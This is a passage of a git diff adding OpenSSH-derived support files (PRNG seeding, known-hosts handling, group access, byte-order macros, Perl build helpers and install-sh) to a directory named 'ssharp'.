doesn't exist */ + prng_check_seedfile(filename); + + if ((fd = open(filename, O_WRONLY|O_TRUNC|O_CREAT, 0600)) == -1) { + debug("WARNING: couldn't access PRNG seedfile %.100s (%.100s)", + filename, strerror(errno)); + } else { + if (atomicio(write, fd, &seed, sizeof(seed)) != sizeof(seed)) + fatal("problem writing PRNG seedfile %.100s (%.100s)", filename, + strerror(errno)); + + close(fd); + } +} + +void +prng_read_seedfile(void) { + int fd; + char seed[1024]; + char filename[1024]; + struct passwd *pw; + + pw = getpwuid(original_uid); + if (pw == NULL) + fatal("Couldn't get password entry for current user (%i): %s", + original_uid, strerror(errno)); + + snprintf(filename, sizeof(filename), "%.512s/%s", pw->pw_dir, + SSH_PRNG_SEED_FILE); + + debug("loading PRNG seed from file %.100s", filename); + + if (!prng_check_seedfile(filename)) { + verbose("Random seed file not found or not valid, ignoring."); + return; + } + + /* open the file and read in the seed */ + fd = open(filename, O_RDONLY); + if (fd == -1) + fatal("could not open PRNG seedfile %.100s (%.100s)", filename, + strerror(errno)); + + if (atomicio(read, fd, &seed, sizeof(seed)) != sizeof(seed)) { + verbose("invalid or short read from PRNG seedfile %.100s - ignoring", + filename); + memset(seed, '\0', sizeof(seed)); + } + close(fd); + + /* stir in the seed, with estimated entropy zero */ + RAND_add(&seed, sizeof(seed), 0.0); +} + + +/* + * entropy command initialisation functions + */ +int +prng_read_commands(char *cmdfilename) +{ + FILE *f; + char *cp; + char line[1024]; + char cmd[1024]; + char path[256]; + int linenum; + int num_cmds = 64; + int cur_cmd = 0; + double est; + entropy_source_t *entcmd; + + f = fopen(cmdfilename, "r"); + if (!f) { + fatal("couldn't read entropy commands file %.100s: %.100s", + cmdfilename, strerror(errno)); + } + + entcmd = (entropy_source_t *)xmalloc(num_cmds * sizeof(entropy_source_t)); + memset(entcmd, '\0', num_cmds * sizeof(entropy_source_t)); + + /* Read in file */ + linenum = 0; + while (fgets(line, sizeof(line), f)) { + int arg; + char *argv; + + linenum++; + + /* skip leading whitespace, test for blank line or comment */ + cp = line + strspn(line, WHITESPACE); + if ((*cp == 0) || (*cp == '#')) + continue; /* done with this line */ + + /* First non-whitespace char should be double quote delimiting */ + /* commandline */ + if (*cp != '"') { + error("bad entropy command, %.100s line %d", cmdfilename, + linenum); + continue; + } + + /* first token, command args (incl. argv[0]) in double quotes */ + cp = strtok(cp, "\""); + if (cp == NULL) { + error("missing or bad command string, %.100s line %d -- ignored", + cmdfilename, linenum); + continue; + } + strlcpy(cmd, cp, sizeof(cmd)); + + /* second token, full command path */ + if ((cp = strtok(NULL, WHITESPACE)) == NULL) { + error("missing command path, %.100s line %d -- ignored", + cmdfilename, linenum); + continue; + } + + /* did configure mark this as dead? */ + if (strncmp("undef", cp, 5) == 0) + continue; + + strlcpy(path, cp, sizeof(path)); + + /* third token, entropy rate estimate for this command */ + if ((cp = strtok(NULL, WHITESPACE)) == NULL) { + error("missing entropy estimate, %.100s line %d -- ignored", + cmdfilename, linenum); + continue; + } + est = strtod(cp, &argv); + + /* end of line */ + if ((cp = strtok(NULL, WHITESPACE)) != NULL) { + error("garbage at end of line %d in %.100s -- ignored", linenum, + cmdfilename); + continue; + } + + /* save the command for debug messages */ + entcmd[cur_cmd].cmdstring = xstrdup(cmd); + + /* split the command args */ + cp = strtok(cmd, WHITESPACE); + arg = 0; + argv = NULL; + do { + char *s = (char*)xmalloc(strlen(cp) + 1); + strncpy(s, cp, strlen(cp) + 1); + entcmd[cur_cmd].args[arg] = s; + arg++; + } while ((arg < 5) && (cp = strtok(NULL, WHITESPACE))); + + if (strtok(NULL, WHITESPACE)) + error("ignored extra command elements (max 5), %.100s line %d", + cmdfilename, linenum); + + /* Copy the command path and rate estimate */ + entcmd[cur_cmd].path = xstrdup(path); + entcmd[cur_cmd].rate = est; + + /* Initialise other values */ + entcmd[cur_cmd].sticky_badness = 1; + + cur_cmd++; + + /* If we've filled the array, reallocate it twice the size */ + /* Do this now because even if this we're on the last command, + we need another slot to mark the last entry */ + if (cur_cmd == num_cmds) { + num_cmds *= 2; + entcmd = xrealloc(entcmd, num_cmds * sizeof(entropy_source_t)); + } + } + + /* zero the last entry */ + memset(&entcmd[cur_cmd], '\0', sizeof(entropy_source_t)); + + /* trim to size */ + entropy_sources = xrealloc(entcmd, (cur_cmd+1) * sizeof(entropy_source_t)); + + debug("Loaded %d entropy commands from %.100s", cur_cmd, cmdfilename); + + return (cur_cmd >= MIN_ENTROPY_SOURCES); +} + +/* + * Write a keyfile at exit + */ +void +prng_seed_cleanup(void *junk) +{ + prng_write_seedfile(); +} + +/* + * Conditionally Seed OpenSSL's random number pool from + * syscalls and program output + */ +void +seed_rng(void) +{ + mysig_t old_sigchld_handler; + + if (!prng_initialised) + fatal("RNG not initialised"); + + /* Make sure some other sigchld handler doesn't reap our entropy */ + /* commands */ + old_sigchld_handler = mysignal(SIGCHLD, SIG_DFL); + + debug("Seeded RNG with %i bytes from programs", + (int)stir_from_programs()); + debug("Seeded RNG with %i bytes from system calls", + (int)stir_from_system()); + + if (!RAND_status()) + fatal("Not enough entropy in RNG"); + + mysignal(SIGCHLD, old_sigchld_handler); + + if (!RAND_status()) + fatal("Couldn't initialise builtin random number generator -- exiting."); +} + +void +init_rng(void) +{ + int original_euid; + + check_openssl_version(); + + original_uid = getuid(); + original_euid = geteuid(); + + /* Read in collection commands */ + if (!prng_read_commands(SSH_PRNG_COMMAND_FILE)) + fatal("PRNG initialisation failed -- exiting."); + + /* Set ourselves up to save a seed upon exit */ + prng_seed_saved = 0; + + /* Give up privs while reading seed file */ +#ifdef SAVED_IDS_WORK_WITH_SETEUID + if ((original_uid != original_euid) && (seteuid(original_uid) == -1)) + fatal("Couldn't give up privileges"); +#else /* SAVED_IDS_WORK_WITH_SETEUID */ + /* + * Propagate the privileged uid to all of our uids. + * Set the effective uid to the given (unprivileged) uid. + */ + if (original_uid != original_euid && (setuid(original_euid) == -1 || + seteuid(original_uid) == -1)) + fatal("Couldn't give up privileges"); +#endif /* SAVED_IDS_WORK_WITH_SETEUID */ + + prng_read_seedfile(); + +#ifdef SAVED_IDS_WORK_WITH_SETEUID + if ((original_uid != original_euid) && (seteuid(original_euid) == -1)) + fatal("Couldn't restore privileges"); +#else /* SAVED_IDS_WORK_WITH_SETEUID */ + /* + * We are unable to restore the real uid to its unprivileged value. + * Propagate the real uid (usually more privileged) to effective uid + * as well. + */ + if (original_uid != original_euid && (seteuid(original_euid) == -1 || + setuid(original_uid) == -1)) + fatal("Couldn't restore privileges"); +#endif /* SAVED_IDS_WORK_WITH_SETEUID */ + + fatal_add_cleanup(prng_seed_cleanup, NULL); + atexit(prng_write_seedfile); + + prng_initialised = 1; +} + +#endif /* defined(USE_PRNGD) || defined(RANDOM_POOL) */ diff --git a/other/ssharp/entropy.h b/other/ssharp/entropy.h new file mode 100644 index 0000000..1135f49 --- /dev/null +++ b/other/ssharp/entropy.h @@ -0,0 +1,33 @@ +/* + * Copyright (c) 1999-2000 Damien Miller. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +/* $Id: entropy.h,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $ */ + +#ifndef _RANDOMS_H +#define _RANDOMS_H + +void seed_rng(void); +void init_rng(void); + +#endif /* _RANDOMS_H */ diff --git a/other/ssharp/fixpaths b/other/ssharp/fixpaths new file mode 100755 index 0000000..7e4178e --- /dev/null +++ b/other/ssharp/fixpaths @@ -0,0 +1,43 @@ +#!/usr/bin/perl -w +# +# fixpaths - substitute makefile variables into text files + + +$usage = "Usage: $0 [-Dstring=replacement] [[infile] ...]\n"; + +if (!defined(@ARGV)) { die ("$usage"); } + +# read in the command line and get some definitions +while ($_=$ARGV[0], /^-/) { + if (/^-D/) { + # definition + shift(@ARGV); + if ( /-D(.*)=(.*)/ ) { + $def{"$1"}=$2; + } else { + die ("$usage$0: error in command line arguments.\n"); + } + } else { + @cmd = split(//, $ARGV[0]); $opt = $cmd[1]; + die ("$usage$0: unknown option '-$opt'\n"); + } +} # while parsing arguments + +if (!defined(%def)) { + die ("$0: nothing to do - no substitutions listed!\n"); +} + +for $f (@ARGV) { + + $f =~ /(.*\/)*(.*)$/; + + open(IN, "<$f") || die ("$0: input file $f missing!\n"); + while () { + for $s (keys(%def)) { + s#$s#$def{$s}#; + } # for $s + print; + } # while +} # for $f + +exit 0; diff --git a/other/ssharp/fixprogs b/other/ssharp/fixprogs new file mode 100755 index 0000000..61840cf --- /dev/null +++ b/other/ssharp/fixprogs @@ -0,0 +1,72 @@ +#!/usr/bin/perl +# +# fixprogs - run through the list of entropy commands and +# score out the losers +# + +$entscale = 50; # divisor for optional entropy measurement + +sub usage { + return("Usage: $0 \n"); +} + +if (($#ARGV == -1) || ($#ARGV>1)) { + die(&usage); +} + +# 'undocumented' option - run ent (in second param) on the output +if ($#ARGV==1) { + $entcmd=$ARGV[1] +} else { + $entcmd = "" +}; + +$infilename = $ARGV[0]; + +if (!open(IN, "<".$infilename)) { + die("Couldn't open input file"); +} +$outfilename=$infilename.".out"; +if (!open(OUT, ">$outfilename")) { + die("Couldn't open output file $outfilename"); +} +@infile=; + +select(OUT); $|=1; select(STDOUT); + +foreach (@infile) { + if (/^\s*\#/ || /^\s*$/) { + print OUT; + next; + } + ($cmd, $path, $est) = /^\"([^\"]+)\"\s+([\w\/_-]+)\s+([\d\.\-]+)/o; + @args = split(/ /, $cmd); + if (! ($pid = fork())) { + # child + close STDIN; close STDOUT; close STDERR; + open (STDIN, "/dev/null"); + open (STDERR, ">/dev/null"); + exec $path @args; + exit 1; # shouldn't be here + } + # parent + waitpid ($pid, 0); $ret=$? >> 8; + + if ($ret != 0) { + $path = "undef"; + } else { + if ($entcmd ne "") { + # now try to run ent on the command + $mostargs=join(" ", splice(@args,1)); + print "Evaluating '$path $mostargs'\n"; + @ent = qx{$path $mostargs | $entcmd -b -t}; + @ent = grep(/^1,/, @ent); + ($null, $null, $rate) = split(/,/, $ent[0]); + $est = $rate / $entscale; # scale the estimate back + } + } + print OUT "\"$cmd\" $path $est\n"; +} + +close(IN); diff --git a/other/ssharp/getput.h b/other/ssharp/getput.h new file mode 100644 index 0000000..1a19d22 --- /dev/null +++ b/other/ssharp/getput.h @@ -0,0 +1,58 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Macros for storing and retrieving data in msb first and lsb first order. + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ + +/* RCSID("$OpenBSD: getput.h,v 1.7 2001/01/10 22:56:22 markus Exp $"); */ + +#ifndef GETPUT_H +#define GETPUT_H + +/*------------ macros for storing/extracting msb first words -------------*/ + +#define GET_64BIT(cp) (((u_int64_t)(u_char)(cp)[0] << 56) | \ + ((u_int64_t)(u_char)(cp)[1] << 48) | \ + ((u_int64_t)(u_char)(cp)[2] << 40) | \ + ((u_int64_t)(u_char)(cp)[3] << 32) | \ + ((u_int64_t)(u_char)(cp)[4] << 24) | \ + ((u_int64_t)(u_char)(cp)[5] << 16) | \ + ((u_int64_t)(u_char)(cp)[6] << 8) | \ + ((u_int64_t)(u_char)(cp)[7])) + +#define GET_32BIT(cp) (((u_long)(u_char)(cp)[0] << 24) | \ + ((u_long)(u_char)(cp)[1] << 16) | \ + ((u_long)(u_char)(cp)[2] << 8) | \ + ((u_long)(u_char)(cp)[3])) + +#define GET_16BIT(cp) (((u_long)(u_char)(cp)[0] << 8) | \ + ((u_long)(u_char)(cp)[1])) + +#define PUT_64BIT(cp, value) do { \ + (cp)[0] = (value) >> 56; \ + (cp)[1] = (value) >> 48; \ + (cp)[2] = (value) >> 40; \ + (cp)[3] = (value) >> 32; \ + (cp)[4] = (value) >> 24; \ + (cp)[5] = (value) >> 16; \ + (cp)[6] = (value) >> 8; \ + (cp)[7] = (value); } while (0) + +#define PUT_32BIT(cp, value) do { \ + (cp)[0] = (value) >> 24; \ + (cp)[1] = (value) >> 16; \ + (cp)[2] = (value) >> 8; \ + (cp)[3] = (value); } while (0) + +#define PUT_16BIT(cp, value) do { \ + (cp)[0] = (value) >> 8; \ + (cp)[1] = (value); } while (0) + +#endif /* GETPUT_H */ diff --git a/other/ssharp/groupaccess.c b/other/ssharp/groupaccess.c new file mode 100644 index 0000000..ac9e00a --- /dev/null +++ b/other/ssharp/groupaccess.c @@ -0,0 +1,78 @@ +/* $OpenBSD: groupaccess.c,v 1.3 2001/01/29 01:58:15 niklas Exp $ */ + +/* + * Copyright (c) 2001 Kevin Steves. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" + +#include "groupaccess.h" +#include "xmalloc.h" +#include "match.h" +#include "log.h" + +static int ngroups; +static char *groups_byname[NGROUPS_MAX + 1]; /* +1 for base/primary group */ + +int +ga_init(const char *user, gid_t base) +{ + gid_t groups_bygid[NGROUPS_MAX + 1]; + int i, j; + struct group *gr; + + if (ngroups > 0) + ga_free(); + + ngroups = sizeof(groups_bygid) / sizeof(gid_t); + if (getgrouplist(user, base, groups_bygid, &ngroups) == -1) + log("getgrouplist: groups list too small"); + for (i = 0, j = 0; i < ngroups; i++) + if ((gr = getgrgid(groups_bygid[i])) != NULL) + groups_byname[j++] = xstrdup(gr->gr_name); + return (ngroups = j); +} + +int +ga_match(char * const *groups, int n) +{ + int i, j; + + for (i = 0; i < ngroups; i++) + for (j = 0; j < n; j++) + if (match_pattern(groups_byname[i], groups[j])) + return 1; + return 0; +} + +void +ga_free(void) +{ + int i; + + if (ngroups > 0) { + for (i = 0; i < ngroups; i++) + xfree(groups_byname[i]); + ngroups = 0; + } +} diff --git a/other/ssharp/groupaccess.h b/other/ssharp/groupaccess.h new file mode 100644 index 0000000..b4e5e42 --- /dev/null +++ b/other/ssharp/groupaccess.h @@ -0,0 +1,49 @@ +/* $OpenBSD: groupaccess.h,v 1.2 2001/01/29 01:58:15 niklas Exp $ */ + +/* + * Copyright (c) 2001 Kevin Steves. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#ifndef GROUPACCESS_H +#define GROUPACCESS_H + +#include + +/* + * Initialize group access list for user with primary (base) and + * supplementary groups. Return the number of groups in the list. + */ +int ga_init(const char *user, gid_t base); + +/* + * Return 1 if one of user's groups is contained in groups. + * Return 0 otherwise. Use match_pattern() for string comparison. + */ +int ga_match(char * const *groups, int ngroups); + +/* + * Free memory allocated for group access list. + */ +void ga_free(void); + +#endif diff --git a/other/ssharp/hostfile.c b/other/ssharp/hostfile.c new file mode 100644 index 0000000..d532bd6 --- /dev/null +++ b/other/ssharp/hostfile.c @@ -0,0 +1,215 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Functions for manipulating the known hosts files. + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + * + * + * Copyright (c) 1999,2000 Markus Friedl. All rights reserved. + * Copyright (c) 1999 Niels Provos. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: hostfile.c,v 1.26 2001/04/12 19:15:24 markus Exp $"); + +#include "packet.h" +#include "match.h" +#include "key.h" +#include "hostfile.h" +#include "log.h" + +/* + * Parses an RSA (number of bits, e, n) or DSA key from a string. Moves the + * pointer over the key. Skips any whitespace at the beginning and at end. + */ + +int +hostfile_read_key(char **cpp, u_int *bitsp, Key *ret) +{ + char *cp; + + /* Skip leading whitespace. */ + for (cp = *cpp; *cp == ' ' || *cp == '\t'; cp++) + ; + + if (key_read(ret, &cp) != 1) + return 0; + + /* Skip trailing whitespace. */ + for (; *cp == ' ' || *cp == '\t'; cp++) + ; + + /* Return results. */ + *cpp = cp; + *bitsp = key_size(ret); + return 1; +} + +int +auth_rsa_read_key(char **cpp, u_int *bitsp, BIGNUM * e, BIGNUM * n) +{ + Key *k = key_new(KEY_RSA1); + int ret = hostfile_read_key(cpp, bitsp, k); + BN_copy(e, k->rsa->e); + BN_copy(n, k->rsa->n); + key_free(k); + return ret; +} + +int +hostfile_check_key(int bits, Key *key, const char *host, const char *filename, int linenum) +{ + if (key == NULL || key->type != KEY_RSA1 || key->rsa == NULL) + return 1; + if (bits != BN_num_bits(key->rsa->n)) { + log("Warning: %s, line %d: keysize mismatch for host %s: " + "actual %d vs. announced %d.", + filename, linenum, host, BN_num_bits(key->rsa->n), bits); + log("Warning: replace %d with %d in %s, line %d.", + bits, BN_num_bits(key->rsa->n), filename, linenum); + } + return 1; +} + +/* + * Checks whether the given host (which must be in all lowercase) is already + * in the list of our known hosts. Returns HOST_OK if the host is known and + * has the specified key, HOST_NEW if the host is not known, and HOST_CHANGED + * if the host is known but used to have a different host key. + */ + +HostStatus +check_host_in_hostfile(const char *filename, const char *host, Key *key, + Key *found, int *numret) +{ + FILE *f; + char line[8192]; + int linenum = 0; + u_int kbits; + char *cp, *cp2; + HostStatus end_return; + + debug3("check_host_in_hostfile: filename %s", filename); + if (key == NULL) + fatal("no key to look up"); + /* Open the file containing the list of known hosts. */ + f = fopen(filename, "r"); + if (!f) + return HOST_NEW; + + /* + * Return value when the loop terminates. This is set to + * HOST_CHANGED if we have seen a different key for the host and have + * not found the proper one. + */ + end_return = HOST_NEW; + + /* Go through the file. */ + while (fgets(line, sizeof(line), f)) { + cp = line; + linenum++; + + /* Skip any leading whitespace, comments and empty lines. */ + for (; *cp == ' ' || *cp == '\t'; cp++) + ; + if (!*cp || *cp == '#' || *cp == '\n') + continue; + + /* Find the end of the host name portion. */ + for (cp2 = cp; *cp2 && *cp2 != ' ' && *cp2 != '\t'; cp2++) + ; + + /* Check if the host name matches. */ + if (match_hostname(host, cp, (u_int) (cp2 - cp)) != 1) + continue; + + /* Got a match. Skip host name. */ + cp = cp2; + + /* + * Extract the key from the line. This will skip any leading + * whitespace. Ignore badly formatted lines. + */ + if (!hostfile_read_key(&cp, &kbits, found)) + continue; + if (!hostfile_check_key(kbits, found, host, filename, linenum)) + continue; + + if (numret != NULL) + *numret = linenum; + + /* Check if the current key is the same as the given key. */ + if (key_equal(key, found)) { + /* Ok, they match. */ + debug3("check_host_in_hostfile: match line %d", linenum); + fclose(f); + return HOST_OK; + } + /* + * They do not match. We will continue to go through the + * file; however, we note that we will not return that it is + * new. + */ + end_return = HOST_CHANGED; + } + /* Clear variables and close the file. */ + fclose(f); + + /* + * Return either HOST_NEW or HOST_CHANGED, depending on whether we + * saw a different key for the host. + */ + return end_return; +} + +/* + * Appends an entry to the host file. Returns false if the entry could not + * be appended. + */ + +int +add_host_to_hostfile(const char *filename, const char *host, Key *key) +{ + FILE *f; + int success = 0; + if (key == NULL) + return 1; /* XXX ? */ + f = fopen(filename, "a"); + if (!f) + return 0; + fprintf(f, "%s ", host); + if (key_write(key, f)) { + success = 1; + } else { + error("add_host_to_hostfile: saving key in %s failed", filename); + } + fprintf(f, "\n"); + fclose(f); + return success; +} diff --git a/other/ssharp/hostfile.h b/other/ssharp/hostfile.h new file mode 100644 index 0000000..346bcd9 --- /dev/null +++ b/other/ssharp/hostfile.h @@ -0,0 +1,40 @@ +/* $OpenBSD: hostfile.h,v 1.7 2001/02/08 19:30:51 itojun Exp $ */ + +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ +#ifndef HOSTFILE_H +#define HOSTFILE_H + +int +auth_rsa_read_key(char **cpp, u_int *bitsp, BIGNUM * e, BIGNUM * n); + +/* + * Checks whether the given host is already in the list of our known hosts. + * Returns HOST_OK if the host is known and has the specified key, HOST_NEW + * if the host is not known, and HOST_CHANGED if the host is known but used + * to have a different host key. The host must be in all lowercase. + */ +typedef enum { + HOST_OK, HOST_NEW, HOST_CHANGED +} HostStatus; + +HostStatus +check_host_in_hostfile(const char *filename, const char *host, Key *key, + Key *found, int *line); + +/* + * Appends an entry to the host file. Returns false if the entry could not + * be appended. + */ +int add_host_to_hostfile(const char *filename, const char *host, Key *key); + +#endif diff --git a/other/ssharp/includes.h b/other/ssharp/includes.h new file mode 100644 index 0000000..8b7bb0e --- /dev/null +++ b/other/ssharp/includes.h @@ -0,0 +1,106 @@ +/* $OpenBSD: includes.h,v 1.14 2001/01/29 01:58:16 niklas Exp $ */ + +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * This file includes most of the needed system headers. + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ + +#ifndef INCLUDES_H +#define INCLUDES_H + +#define RCSID(msg) \ +static /**/const char *const rcsid[] = { (char *)rcsid, "\100(#)" msg } + +#include "config.h" + +#include "openbsd-compat/bsd-nextstep.h" + +#include +#include +#include +#include +#include + +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifdef HAVE_LIMITS_H +# include +#endif +#ifdef HAVE_GETOPT_H +# include +#endif +#ifdef HAVE_BSTRING_H +# include +#endif +#if defined(HAVE_GLOB_H) && defined(GLOB_HAS_ALTDIRFUNC) && \ + defined(GLOB_HAS_GL_MATCHC) +# include +#endif +#ifdef HAVE_NETGROUP_H +# include +#endif +#if defined(HAVE_NETDB_H) +# include +#endif +#ifdef HAVE_ENDIAN_H +# include +#endif +#ifdef HAVE_SYS_SELECT_H +# include +#endif +#ifdef HAVE_SYS_TIME_H +# include +#endif +#ifdef HAVE_SYS_BSDTTY_H +# include +#endif +#ifdef HAVE_TTYENT_H +# include +#endif +#ifdef USE_PAM +# include +#endif +#ifdef HAVE_POLL_H +# include +#else +# ifdef HAVE_SYS_POLL_H +# include +# endif +#endif +#ifdef HAVE_SYS_SYSMACROS_H +# include +#endif +#ifdef HAVE_UTIME_H +# include +#endif +#ifdef HAVE_VIS_H +# include +#endif +#include "version.h" +#include "openbsd-compat/openbsd-compat.h" +#include "openbsd-compat/bsd-cygwin_util.h" +#include "entropy.h" + +#endif /* INCLUDES_H */ diff --git a/other/ssharp/install-sh b/other/ssharp/install-sh new file mode 100755 index 0000000..e9de238 --- /dev/null +++ b/other/ssharp/install-sh @@ -0,0 +1,251 @@ +#!/bin/sh +# +# install - install a program, script, or datafile +# This comes from X11R5 (mit/util/scripts/install.sh). +# +# Copyright 1991 by the Massachusetts Institute of Technology +# +# Permission to use, copy, modify, distribute, and sell this software and its +# documentation for any purpose is hereby granted without fee, provided that +# the above copyright notice appear in all copies and that both that +# copyright notice and this permission notice appear in supporting +# documentation, and that the name of M.I.T. not be used in advertising or +# publicity pertaining to distribution of the software without specific, +# written prior permission. M.I.T. makes no representations about the +# suitability of this software for any purpose. It is provided "as is" +# without express or implied warranty. +# +# Calling this script install-sh is preferred over install.sh, to prevent +# `make' implicit rules from creating a file called install from it +# when there is no Makefile. +# +# This script is compatible with the BSD install script, but was written +# from scratch. It can only install one file at a time, a restriction +# shared with many OS's install programs. + + +# set DOITPROG to echo to test this script + +# Don't use :- since 4.3BSD and earlier shells don't like it. +doit="${DOITPROG-}" + + +# put in absolute paths if you don't have them in your path; or use env. vars. + +mvprog="${MVPROG-mv}" +cpprog="${CPPROG-cp}" +chmodprog="${CHMODPROG-chmod}" +chownprog="${CHOWNPROG-chown}" +chgrpprog="${CHGRPPROG-chgrp}" +stripprog="${STRIPPROG-strip}" +rmprog="${RMPROG-rm}" +mkdirprog="${MKDIRPROG-mkdir}" + +transformbasename="" +transform_arg="" +instcmd="$mvprog" +chmodcmd="$chmodprog 0755" +chowncmd="" +chgrpcmd="" +stripcmd="" +rmcmd="$rmprog -f" +mvcmd="$mvprog" +src="" +dst="" +dir_arg="" + +while [ x"$1" != x ]; do + case $1 in + -c) instcmd="$cpprog" + shift + continue;; + + -d) dir_arg=true + shift + continue;; + + -m) chmodcmd="$chmodprog $2" + shift + shift + continue;; + + -o) chowncmd="$chownprog $2" + shift + shift + continue;; + + -g) chgrpcmd="$chgrpprog $2" + shift + shift + continue;; + + -s) stripcmd="$stripprog" + shift + continue;; + + -t=*) transformarg=`echo $1 | sed 's/-t=//'` + shift + continue;; + + -b=*) transformbasename=`echo $1 | sed 's/-b=//'` + shift + 